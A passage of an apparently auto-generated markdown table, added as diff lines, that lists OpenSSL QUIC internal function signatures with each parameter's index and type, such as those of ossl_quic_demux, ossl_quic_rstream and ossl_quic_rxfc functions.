*,uint64_t) | | ossl_quic_channel_new_stream_remote | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,uint64_t) | | ossl_quic_channel_new_stream_remote | 1 | uint64_t | +| (QUIC_CHANNEL *,uint64_t) | | ossl_quic_channel_set_max_idle_timeout_request | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,uint64_t) | | ossl_quic_channel_set_max_idle_timeout_request | 1 | uint64_t | +| (QUIC_CHANNEL *,uint64_t) | | ossl_quic_channel_set_txku_threshold_override | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,uint64_t) | | ossl_quic_channel_set_txku_threshold_override | 1 | uint64_t | +| (QUIC_CHANNEL *,void *) | | ossl_quic_channel_set_msg_callback_arg | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,void *) | | ossl_quic_channel_set_msg_callback_arg | 1 | void * | +| (QUIC_DEMUX *,BIO *) | | ossl_quic_demux_set_bio | 0 | QUIC_DEMUX * | +| (QUIC_DEMUX *,BIO *) | | ossl_quic_demux_set_bio | 1 | BIO * | +| (QUIC_DEMUX *,QUIC_URXE *) | | ossl_quic_demux_reinject_urxe | 0 | QUIC_DEMUX * | +| (QUIC_DEMUX *,QUIC_URXE *) | | ossl_quic_demux_reinject_urxe | 1 | QUIC_URXE * | +| (QUIC_DEMUX *,QUIC_URXE *) | | ossl_quic_demux_release_urxe | 0 | QUIC_DEMUX * | +| (QUIC_DEMUX *,QUIC_URXE *) | | ossl_quic_demux_release_urxe | 1 | QUIC_URXE * | +| (QUIC_DEMUX *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *) | | ossl_quic_demux_inject | 0 | QUIC_DEMUX * | +| (QUIC_DEMUX *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *) | | ossl_quic_demux_inject | 1 | const unsigned char * | +| (QUIC_DEMUX *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *) | | ossl_quic_demux_inject | 2 | size_t | +| (QUIC_DEMUX *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *) | | ossl_quic_demux_inject | 3 | const BIO_ADDR * | +| (QUIC_DEMUX *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *) | | ossl_quic_demux_inject | 4 | const BIO_ADDR * | +| (QUIC_DEMUX *,ossl_quic_demux_cb_fn *,void *) | | ossl_quic_demux_set_default_handler | 0 | QUIC_DEMUX * | +| (QUIC_DEMUX *,ossl_quic_demux_cb_fn *,void *) | | ossl_quic_demux_set_default_handler | 1 | ossl_quic_demux_cb_fn * | +| (QUIC_DEMUX *,ossl_quic_demux_cb_fn *,void *) | | ossl_quic_demux_set_default_handler | 2 | void * | +| (QUIC_DEMUX *,unsigned int) | | ossl_quic_demux_set_mtu | 0 | QUIC_DEMUX * | +| (QUIC_DEMUX *,unsigned int) | | ossl_quic_demux_set_mtu | 1 | unsigned int | +| (QUIC_ENGINE *) | | ossl_quic_engine_get0_libctx | 0 | QUIC_ENGINE * | +| (QUIC_ENGINE *) | | ossl_quic_engine_get0_mutex | 0 | QUIC_ENGINE * | +| (QUIC_ENGINE *) | | ossl_quic_engine_get0_propq | 0 | QUIC_ENGINE * | +| (QUIC_ENGINE *) | | ossl_quic_engine_get0_reactor | 0 | QUIC_ENGINE * | +| (QUIC_ENGINE *,..(*)(..),void *) | | ossl_quic_engine_set_time_cb | 0 | QUIC_ENGINE * | +| (QUIC_ENGINE *,..(*)(..),void *) | | ossl_quic_engine_set_time_cb | 1 | ..(*)(..) | +| (QUIC_ENGINE *,..(*)(..),void *) | | ossl_quic_engine_set_time_cb | 2 | void * | +| (QUIC_ENGINE *,OSSL_TIME) | | ossl_quic_engine_make_real_time | 0 | QUIC_ENGINE * | +| (QUIC_ENGINE *,OSSL_TIME) | | ossl_quic_engine_make_real_time | 1 | OSSL_TIME | +| (QUIC_ENGINE *,const QUIC_PORT_ARGS *) | | ossl_quic_engine_create_port | 0 | QUIC_ENGINE * | +| (QUIC_ENGINE *,const QUIC_PORT_ARGS *) | | ossl_quic_engine_create_port | 1 | const QUIC_PORT_ARGS * | +| (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 0 | QUIC_ENGINE * | +| (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | int | +| (QUIC_FIFD *,..(*)(..),void *) | | ossl_quic_fifd_set_qlog_cb | 0 | QUIC_FIFD * | +| (QUIC_FIFD *,..(*)(..),void *) | | ossl_quic_fifd_set_qlog_cb | 1 | ..(*)(..) | +| (QUIC_FIFD *,..(*)(..),void *) | | ossl_quic_fifd_set_qlog_cb | 2 | void * | +| (QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *) | | ossl_quic_fifd_init | 0 | QUIC_FIFD * | +| (QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *) | | ossl_quic_fifd_init | 1 | QUIC_CFQ * | +| (QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *) | | ossl_quic_fifd_init | 2 | OSSL_ACKM * | +| (QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *) | | ossl_quic_fifd_init | 3 | QUIC_TXPIM * | +| (QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *) | | ossl_quic_fifd_init | 4 | ..(*)(..) | +| (QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *) | | ossl_quic_fifd_init | 5 | void * | +| (QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *) | | ossl_quic_fifd_init | 6 | ..(*)(..) | +| (QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *) | | ossl_quic_fifd_init | 7 | void * | +| (QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *) | | ossl_quic_fifd_init | 8 | ..(*)(..) | +| (QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *) | | ossl_quic_fifd_init | 9 | void * | +| (QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *) | | ossl_quic_fifd_init | 10 | ..(*)(..) | +| (QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *) | | ossl_quic_fifd_init | 11 | void * | +| (QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *) | | ossl_quic_fifd_init | 12 | ..(*)(..) | +| (QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *) | | ossl_quic_fifd_init | 13 | void * | +| (QUIC_FIFD *,QUIC_TXPIM_PKT *) | | ossl_quic_fifd_pkt_commit | 0 | QUIC_FIFD * | +| (QUIC_FIFD *,QUIC_TXPIM_PKT *) | | ossl_quic_fifd_pkt_commit | 1 | QUIC_TXPIM_PKT * | +| (QUIC_HDR_PROTECTOR *,OSSL_LIB_CTX *,const char *,uint32_t,const unsigned char *,size_t) | | ossl_quic_hdr_protector_init | 0 | QUIC_HDR_PROTECTOR * | +| (QUIC_HDR_PROTECTOR *,OSSL_LIB_CTX *,const char *,uint32_t,const unsigned char *,size_t) | | ossl_quic_hdr_protector_init | 1 | OSSL_LIB_CTX * | +| (QUIC_HDR_PROTECTOR *,OSSL_LIB_CTX *,const char *,uint32_t,const unsigned char *,size_t) | | ossl_quic_hdr_protector_init | 2 | const char * | +| (QUIC_HDR_PROTECTOR *,OSSL_LIB_CTX *,const char *,uint32_t,const unsigned char *,size_t) | | ossl_quic_hdr_protector_init | 3 | uint32_t | +| (QUIC_HDR_PROTECTOR *,OSSL_LIB_CTX *,const char *,uint32_t,const unsigned char *,size_t) | | ossl_quic_hdr_protector_init | 4 | const unsigned char * | +| (QUIC_HDR_PROTECTOR *,OSSL_LIB_CTX *,const char *,uint32_t,const unsigned char *,size_t) | | ossl_quic_hdr_protector_init | 5 | size_t | +| (QUIC_HDR_PROTECTOR *,QUIC_PKT_HDR_PTRS *) | | ossl_quic_hdr_protector_decrypt | 0 | QUIC_HDR_PROTECTOR * | +| (QUIC_HDR_PROTECTOR *,QUIC_PKT_HDR_PTRS *) | | ossl_quic_hdr_protector_decrypt | 1 | QUIC_PKT_HDR_PTRS * | +| (QUIC_HDR_PROTECTOR *,QUIC_PKT_HDR_PTRS *) | | ossl_quic_hdr_protector_encrypt | 0 | QUIC_HDR_PROTECTOR * | +| (QUIC_HDR_PROTECTOR *,QUIC_PKT_HDR_PTRS *) | | ossl_quic_hdr_protector_encrypt | 1 | QUIC_PKT_HDR_PTRS * | +| (QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *) | | ossl_quic_hdr_protector_decrypt_fields | 0 | QUIC_HDR_PROTECTOR * | +| (QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *) | | ossl_quic_hdr_protector_decrypt_fields | 1 | const unsigned char * | +| (QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *) | | ossl_quic_hdr_protector_decrypt_fields | 2 | size_t | +| (QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *) | | ossl_quic_hdr_protector_decrypt_fields | 3 | unsigned char * | +| (QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *) | | ossl_quic_hdr_protector_decrypt_fields | 4 | unsigned char * | +| (QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *) | | ossl_quic_hdr_protector_encrypt_fields | 0 | QUIC_HDR_PROTECTOR * | +| (QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *) | | ossl_quic_hdr_protector_encrypt_fields | 1 | const unsigned char * | +| (QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *) | | ossl_quic_hdr_protector_encrypt_fields | 2 | size_t | +| (QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *) | | ossl_quic_hdr_protector_encrypt_fields | 3 | unsigned char * | +| (QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *) | | ossl_quic_hdr_protector_encrypt_fields | 4 | unsigned char * | +| (QUIC_LCIDM *,QUIC_CONN_ID *) | | ossl_quic_lcidm_get_unused_cid | 0 | QUIC_LCIDM * | +| (QUIC_LCIDM *,QUIC_CONN_ID *) | | ossl_quic_lcidm_get_unused_cid | 1 | QUIC_CONN_ID * | +| (QUIC_LCIDM *,const QUIC_CONN_ID *) | | ossl_quic_lcidm_debug_remove | 0 | QUIC_LCIDM * | +| (QUIC_LCIDM *,const QUIC_CONN_ID *) | | ossl_quic_lcidm_debug_remove | 1 | const QUIC_CONN_ID * | +| (QUIC_LCIDM *,const QUIC_CONN_ID *,uint64_t *,void **) | | ossl_quic_lcidm_lookup | 0 | QUIC_LCIDM * | +| (QUIC_LCIDM *,const QUIC_CONN_ID *,uint64_t *,void **) | | ossl_quic_lcidm_lookup | 1 | const QUIC_CONN_ID * | +| (QUIC_LCIDM *,const QUIC_CONN_ID *,uint64_t *,void **) | | ossl_quic_lcidm_lookup | 2 | uint64_t * | +| (QUIC_LCIDM *,const QUIC_CONN_ID *,uint64_t *,void **) | | ossl_quic_lcidm_lookup | 3 | void ** | +| (QUIC_LCIDM *,void *,OSSL_QUIC_FRAME_NEW_CONN_ID *) | | ossl_quic_lcidm_generate | 0 | QUIC_LCIDM * | +| (QUIC_LCIDM *,void *,OSSL_QUIC_FRAME_NEW_CONN_ID *) | | ossl_quic_lcidm_generate | 1 | void * | +| (QUIC_LCIDM *,void *,OSSL_QUIC_FRAME_NEW_CONN_ID *) | | ossl_quic_lcidm_generate | 2 | OSSL_QUIC_FRAME_NEW_CONN_ID * | +| (QUIC_LCIDM *,void *,QUIC_CONN_ID *) | | ossl_quic_lcidm_generate_initial | 0 | QUIC_LCIDM * | +| (QUIC_LCIDM *,void *,QUIC_CONN_ID *) | | ossl_quic_lcidm_generate_initial | 1 | void * | +| (QUIC_LCIDM *,void *,QUIC_CONN_ID *) | | ossl_quic_lcidm_generate_initial | 2 | QUIC_CONN_ID * | +| (QUIC_LCIDM *,void *,const QUIC_CONN_ID *) | | ossl_quic_lcidm_bind_channel | 0 | QUIC_LCIDM * | +| (QUIC_LCIDM *,void *,const QUIC_CONN_ID *) | | ossl_quic_lcidm_bind_channel | 1 | void * | +| (QUIC_LCIDM *,void *,const QUIC_CONN_ID *) | | ossl_quic_lcidm_bind_channel | 2 | const QUIC_CONN_ID * | +| (QUIC_LCIDM *,void *,const QUIC_CONN_ID *) | | ossl_quic_lcidm_enrol_odcid | 0 | QUIC_LCIDM * | +| (QUIC_LCIDM *,void *,const QUIC_CONN_ID *) | | ossl_quic_lcidm_enrol_odcid | 1 | void * | +| (QUIC_LCIDM *,void *,const QUIC_CONN_ID *) | | ossl_quic_lcidm_enrol_odcid | 2 | const QUIC_CONN_ID * | +| (QUIC_LCIDM *,void *,const QUIC_CONN_ID *,uint64_t) | | ossl_quic_lcidm_debug_add | 0 | QUIC_LCIDM * | +| (QUIC_LCIDM *,void *,const QUIC_CONN_ID *,uint64_t) | | ossl_quic_lcidm_debug_add | 1 | void * | +| (QUIC_LCIDM *,void *,const QUIC_CONN_ID *,uint64_t) | | ossl_quic_lcidm_debug_add | 2 | const QUIC_CONN_ID * | +| (QUIC_LCIDM *,void *,const QUIC_CONN_ID *,uint64_t) | | ossl_quic_lcidm_debug_add | 3 | uint64_t | +| (QUIC_OBJ *) | | ossl_quic_obj_get0_handshake_layer | 0 | QUIC_OBJ * | +| (QUIC_OBJ *,SSL_CTX *,int,SSL *,QUIC_ENGINE *,QUIC_PORT *) | | ossl_quic_obj_init | 0 | QUIC_OBJ * | +| (QUIC_OBJ *,SSL_CTX *,int,SSL *,QUIC_ENGINE *,QUIC_PORT *) | | ossl_quic_obj_init | 1 | SSL_CTX * | +| (QUIC_OBJ *,SSL_CTX *,int,SSL *,QUIC_ENGINE *,QUIC_PORT *) | | ossl_quic_obj_init | 2 | int | +| (QUIC_OBJ *,SSL_CTX *,int,SSL *,QUIC_ENGINE *,QUIC_PORT *) | | ossl_quic_obj_init | 3 | SSL * | +| (QUIC_OBJ *,SSL_CTX *,int,SSL *,QUIC_ENGINE *,QUIC_PORT *) | | ossl_quic_obj_init | 4 | QUIC_ENGINE * | +| (QUIC_OBJ *,SSL_CTX *,int,SSL *,QUIC_ENGINE *,QUIC_PORT *) | | ossl_quic_obj_init | 5 | QUIC_PORT * | +| (QUIC_OBJ *,unsigned int) | | ossl_quic_obj_set_blocking_mode | 0 | QUIC_OBJ * | +| (QUIC_OBJ *,unsigned int) | | ossl_quic_obj_set_blocking_mode | 1 | unsigned int | +| (QUIC_PN,unsigned char *,size_t) | | ossl_quic_wire_encode_pkt_hdr_pn | 0 | QUIC_PN | +| (QUIC_PN,unsigned char *,size_t) | | ossl_quic_wire_encode_pkt_hdr_pn | 1 | unsigned char * | +| (QUIC_PN,unsigned char *,size_t) | | ossl_quic_wire_encode_pkt_hdr_pn | 2 | size_t | +| (QUIC_PORT *) | | ossl_quic_port_get0_demux | 0 | QUIC_PORT * | +| (QUIC_PORT *) | | ossl_quic_port_get0_engine | 0 | QUIC_PORT * | +| (QUIC_PORT *) | | ossl_quic_port_get0_mutex | 0 | QUIC_PORT * | +| (QUIC_PORT *) | | ossl_quic_port_get0_reactor | 0 | QUIC_PORT * | +| (QUIC_PORT *) | | ossl_quic_port_get_channel_ctx | 0 | QUIC_PORT * | +| (QUIC_PORT *) | | ossl_quic_port_get_net_rbio | 0 | QUIC_PORT * | +| (QUIC_PORT *) | | ossl_quic_port_get_net_wbio | 0 | QUIC_PORT * | +| (QUIC_PORT *) | | ossl_quic_port_have_incoming | 0 | QUIC_PORT * | +| (QUIC_PORT *) | | ossl_quic_port_pop_incoming | 0 | QUIC_PORT * | +| (QUIC_PORT *,BIO *) | | ossl_quic_port_set_net_rbio | 0 | QUIC_PORT * | +| (QUIC_PORT *,BIO *) | | ossl_quic_port_set_net_rbio | 1 | BIO * | +| (QUIC_PORT *,BIO *) | | ossl_quic_port_set_net_wbio | 0 | QUIC_PORT * | +| (QUIC_PORT *,BIO *) | | ossl_quic_port_set_net_wbio | 1 | BIO * | +| (QUIC_PORT *,SSL *) | | ossl_quic_port_create_incoming | 0 | QUIC_PORT * | +| (QUIC_PORT *,SSL *) | | ossl_quic_port_create_incoming | 1 | SSL * | +| (QUIC_PORT *,SSL *) | | ossl_quic_port_create_outgoing | 0 | QUIC_PORT * | +| (QUIC_PORT *,SSL *) | | ossl_quic_port_create_outgoing | 1 | SSL * | +| (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 0 | QUIC_PORT * | +| (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | int | +| (QUIC_RCIDM *,QUIC_CONN_ID *) | | ossl_quic_rcidm_get_preferred_tx_dcid | 0 | QUIC_RCIDM * | +| (QUIC_RCIDM *,QUIC_CONN_ID *) | | ossl_quic_rcidm_get_preferred_tx_dcid | 1 | QUIC_CONN_ID * | +| (QUIC_RCIDM *,const OSSL_QUIC_FRAME_NEW_CONN_ID *) | | ossl_quic_rcidm_add_from_ncid | 0 | QUIC_RCIDM * | +| (QUIC_RCIDM *,const OSSL_QUIC_FRAME_NEW_CONN_ID *) | | ossl_quic_rcidm_add_from_ncid | 1 | const OSSL_QUIC_FRAME_NEW_CONN_ID * | +| (QUIC_RCIDM *,const QUIC_CONN_ID *) | | ossl_quic_rcidm_add_from_initial | 0 | QUIC_RCIDM * | +| (QUIC_RCIDM *,const QUIC_CONN_ID *) | | ossl_quic_rcidm_add_from_initial | 1 | const QUIC_CONN_ID * | +| (QUIC_RCIDM *,const QUIC_CONN_ID *) | | ossl_quic_rcidm_add_from_server_retry | 0 | QUIC_RCIDM * | +| (QUIC_RCIDM *,const QUIC_CONN_ID *) | | ossl_quic_rcidm_add_from_server_retry | 1 | const QUIC_CONN_ID * | +| (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 0 | QUIC_RCIDM * | +| (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | int | +| (QUIC_RCIDM *,uint64_t) | | ossl_quic_rcidm_on_packet_sent | 0 | QUIC_RCIDM * | +| (QUIC_RCIDM *,uint64_t) | | ossl_quic_rcidm_on_packet_sent | 1 | uint64_t | +| (QUIC_REACTOR *) | | ossl_quic_reactor_get0_notifier | 0 | QUIC_REACTOR * | +| (QUIC_REACTOR *) | | ossl_quic_reactor_get_tick_deadline | 0 | QUIC_REACTOR * | +| (QUIC_REACTOR *) | | ossl_quic_reactor_net_read_desired | 0 | QUIC_REACTOR * | +| (QUIC_REACTOR *) | | ossl_quic_reactor_net_write_desired | 0 | QUIC_REACTOR * | +| (QUIC_REACTOR *,..(*)(..),void *,CRYPTO_MUTEX *,OSSL_TIME,uint64_t) | | ossl_quic_reactor_init | 0 | QUIC_REACTOR * | +| (QUIC_REACTOR *,..(*)(..),void *,CRYPTO_MUTEX *,OSSL_TIME,uint64_t) | | ossl_quic_reactor_init | 1 | ..(*)(..) | +| (QUIC_REACTOR *,..(*)(..),void *,CRYPTO_MUTEX *,OSSL_TIME,uint64_t) | | ossl_quic_reactor_init | 2 | void * | +| (QUIC_REACTOR *,..(*)(..),void *,CRYPTO_MUTEX *,OSSL_TIME,uint64_t) | | ossl_quic_reactor_init | 3 | CRYPTO_MUTEX * | +| (QUIC_REACTOR *,..(*)(..),void *,CRYPTO_MUTEX *,OSSL_TIME,uint64_t) | | ossl_quic_reactor_init | 4 | OSSL_TIME | +| (QUIC_REACTOR *,..(*)(..),void *,CRYPTO_MUTEX *,OSSL_TIME,uint64_t) | | ossl_quic_reactor_init | 5 | uint64_t | +| (QUIC_REACTOR *,const BIO_POLL_DESCRIPTOR *) | | ossl_quic_reactor_set_poll_r | 0 | QUIC_REACTOR * | +| (QUIC_REACTOR *,const BIO_POLL_DESCRIPTOR *) | | ossl_quic_reactor_set_poll_r | 1 | const BIO_POLL_DESCRIPTOR * | +| (QUIC_REACTOR *,const BIO_POLL_DESCRIPTOR *) | | ossl_quic_reactor_set_poll_w | 0 | QUIC_REACTOR * | +| (QUIC_REACTOR *,const BIO_POLL_DESCRIPTOR *) | | ossl_quic_reactor_set_poll_w | 1 | const BIO_POLL_DESCRIPTOR * | +| (QUIC_RSTREAM *,const unsigned char **,size_t *,int *) | | ossl_quic_rstream_get_record | 0 | QUIC_RSTREAM * | +| (QUIC_RSTREAM *,const unsigned char **,size_t *,int *) | | ossl_quic_rstream_get_record | 1 | const unsigned char ** | +| (QUIC_RSTREAM *,const unsigned char **,size_t *,int *) | | ossl_quic_rstream_get_record | 2 | size_t * | +| (QUIC_RSTREAM *,const unsigned char **,size_t *,int *) | | ossl_quic_rstream_get_record | 3 | int * | +| (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 0 | QUIC_RSTREAM * | +| (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | int | +| (QUIC_RSTREAM *,size_t *,int *) | | ossl_quic_rstream_available | 0 | QUIC_RSTREAM * | +| (QUIC_RSTREAM *,size_t *,int *) | | ossl_quic_rstream_available | 1 | size_t * | +| (QUIC_RSTREAM *,size_t *,int *) | | ossl_quic_rstream_available | 2 | int * | +| (QUIC_RSTREAM *,size_t) | | ossl_quic_rstream_release_record | 0 | QUIC_RSTREAM * | +| (QUIC_RSTREAM *,size_t) | | ossl_quic_rstream_release_record | 1 | size_t | +| (QUIC_RSTREAM *,size_t) | | ossl_quic_rstream_resize_rbuf | 0 | QUIC_RSTREAM * | +| (QUIC_RSTREAM *,size_t) | | ossl_quic_rstream_resize_rbuf | 1 | size_t | +| (QUIC_RSTREAM *,unsigned char *,size_t,size_t *,int *) | | ossl_quic_rstream_peek | 0 | QUIC_RSTREAM * | +| (QUIC_RSTREAM *,unsigned char *,size_t,size_t *,int *) | | ossl_quic_rstream_peek | 1 | unsigned char * | +| (QUIC_RSTREAM *,unsigned char *,size_t,size_t *,int *) | | ossl_quic_rstream_peek | 2 | size_t | +| (QUIC_RSTREAM *,unsigned char *,size_t,size_t *,int *) | | ossl_quic_rstream_peek | 3 | size_t * | +| (QUIC_RSTREAM *,unsigned char *,size_t,size_t *,int *) | | ossl_quic_rstream_peek | 4 | int * | +| (QUIC_RSTREAM *,unsigned char *,size_t,size_t *,int *) | | ossl_quic_rstream_read | 0 | QUIC_RSTREAM * | +| (QUIC_RSTREAM *,unsigned char *,size_t,size_t *,int *) | | ossl_quic_rstream_read | 1 | unsigned char * | +| (QUIC_RSTREAM *,unsigned char *,size_t,size_t *,int *) | | ossl_quic_rstream_read | 2 | size_t | +| (QUIC_RSTREAM *,unsigned char *,size_t,size_t *,int *) | | ossl_quic_rstream_read | 3 | size_t * | +| (QUIC_RSTREAM *,unsigned char *,size_t,size_t *,int *) | | ossl_quic_rstream_read | 4 | int * | +| (QUIC_RXFC *) | | ossl_quic_rxfc_get_parent | 0 | QUIC_RXFC * | +| (QUIC_RXFC *,OSSL_STATM *,size_t) | | ossl_quic_rstream_new | 0 | QUIC_RXFC * | +| (QUIC_RXFC *,OSSL_STATM *,size_t) | | ossl_quic_rstream_new | 1 | OSSL_STATM * | +| (QUIC_RXFC *,OSSL_STATM *,size_t) | | ossl_quic_rstream_new | 2 | size_t | +| (QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *) | | ossl_quic_rxfc_init | 0 | QUIC_RXFC * | +| (QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *) | | ossl_quic_rxfc_init | 1 | QUIC_RXFC * | +| (QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *) | | ossl_quic_rxfc_init | 2 | uint64_t | +| (QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *) | | ossl_quic_rxfc_init | 3 | uint64_t | +| (QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *) | | ossl_quic_rxfc_init | 4 | ..(*)(..) | +| (QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *) | | ossl_quic_rxfc_init | 5 | void * | +| (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 0 | QUIC_RXFC * | +| (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | int | +| (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 0 | QUIC_RXFC * | +| (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | int | +| (QUIC_RXFC *,size_t) | | ossl_quic_rxfc_set_max_window_size | 0 | QUIC_RXFC * | +| (QUIC_RXFC *,size_t) | | ossl_quic_rxfc_set_max_window_size | 1 | size_t | +| (QUIC_RXFC *,uint64_t,..(*)(..),void *) | | ossl_quic_rxfc_init_standalone | 0 | QUIC_RXFC * | +| (QUIC_RXFC *,uint64_t,..(*)(..),void *) | | ossl_quic_rxfc_init_standalone | 1 | uint64_t | +| (QUIC_RXFC *,uint64_t,..(*)(..),void *) | | ossl_quic_rxfc_init_standalone | 2 | ..(*)(..) | +| (QUIC_RXFC *,uint64_t,..(*)(..),void *) | | ossl_quic_rxfc_init_standalone | 3 | void * | +| (QUIC_RXFC *,uint64_t,OSSL_TIME) | | ossl_quic_rxfc_on_retire | 0 | QUIC_RXFC * | +| (QUIC_RXFC *,uint64_t,OSSL_TIME) | | ossl_quic_rxfc_on_retire | 1 | uint64_t | +| (QUIC_RXFC *,uint64_t,OSSL_TIME) | | ossl_quic_rxfc_on_retire | 2 | OSSL_TIME | +| (QUIC_RXFC *,uint64_t,int) | | ossl_quic_rxfc_on_rx_stream_frame | 0 | QUIC_RXFC * | +| (QUIC_RXFC *,uint64_t,int) | | ossl_quic_rxfc_on_rx_stream_frame | 1 | uint64_t | +| (QUIC_RXFC *,uint64_t,int) | | ossl_quic_rxfc_on_rx_stream_frame | 2 | int | +| (QUIC_SRTM *,const QUIC_STATELESS_RESET_TOKEN *,size_t,void **,uint64_t *) | | ossl_quic_srtm_lookup | 0 | QUIC_SRTM * | +| (QUIC_SRTM *,const QUIC_STATELESS_RESET_TOKEN *,size_t,void **,uint64_t *) | | ossl_quic_srtm_lookup | 1 | const QUIC_STATELESS_RESET_TOKEN * | +| (QUIC_SRTM *,const QUIC_STATELESS_RESET_TOKEN *,size_t,void **,uint64_t *) | | ossl_quic_srtm_lookup | 2 | size_t | +| (QUIC_SRTM *,const QUIC_STATELESS_RESET_TOKEN *,size_t,void **,uint64_t *) | | ossl_quic_srtm_lookup | 3 | void ** | +| (QUIC_SRTM *,const QUIC_STATELESS_RESET_TOKEN *,size_t,void **,uint64_t *) | | ossl_quic_srtm_lookup | 4 | uint64_t * | +| (QUIC_SRTM *,void *,uint64_t,const QUIC_STATELESS_RESET_TOKEN *) | | ossl_quic_srtm_add | 0 | QUIC_SRTM * | +| (QUIC_SRTM *,void *,uint64_t,const QUIC_STATELESS_RESET_TOKEN *) | | ossl_quic_srtm_add | 1 | void * | +| (QUIC_SRTM *,void *,uint64_t,const QUIC_STATELESS_RESET_TOKEN *) | | ossl_quic_srtm_add | 2 | uint64_t | +| (QUIC_SRTM *,void *,uint64_t,const QUIC_STATELESS_RESET_TOKEN *) | | ossl_quic_srtm_add | 3 | const QUIC_STATELESS_RESET_TOKEN * | +| (QUIC_SSTREAM *) | | ossl_quic_sstream_get_buffer_avail | 0 | QUIC_SSTREAM * | +| (QUIC_SSTREAM *) | | ossl_quic_sstream_get_buffer_size | 0 | QUIC_SSTREAM * | +| (QUIC_SSTREAM *) | | ossl_quic_sstream_get_buffer_used | 0 | QUIC_SSTREAM * | +| (QUIC_SSTREAM *) | | ossl_quic_sstream_get_cur_size | 0 | QUIC_SSTREAM * | +| (QUIC_SSTREAM *,const unsigned char *,size_t,size_t *) | | ossl_quic_sstream_append | 0 | QUIC_SSTREAM * | +| (QUIC_SSTREAM *,const unsigned char *,size_t,size_t *) | | ossl_quic_sstream_append | 1 | const unsigned 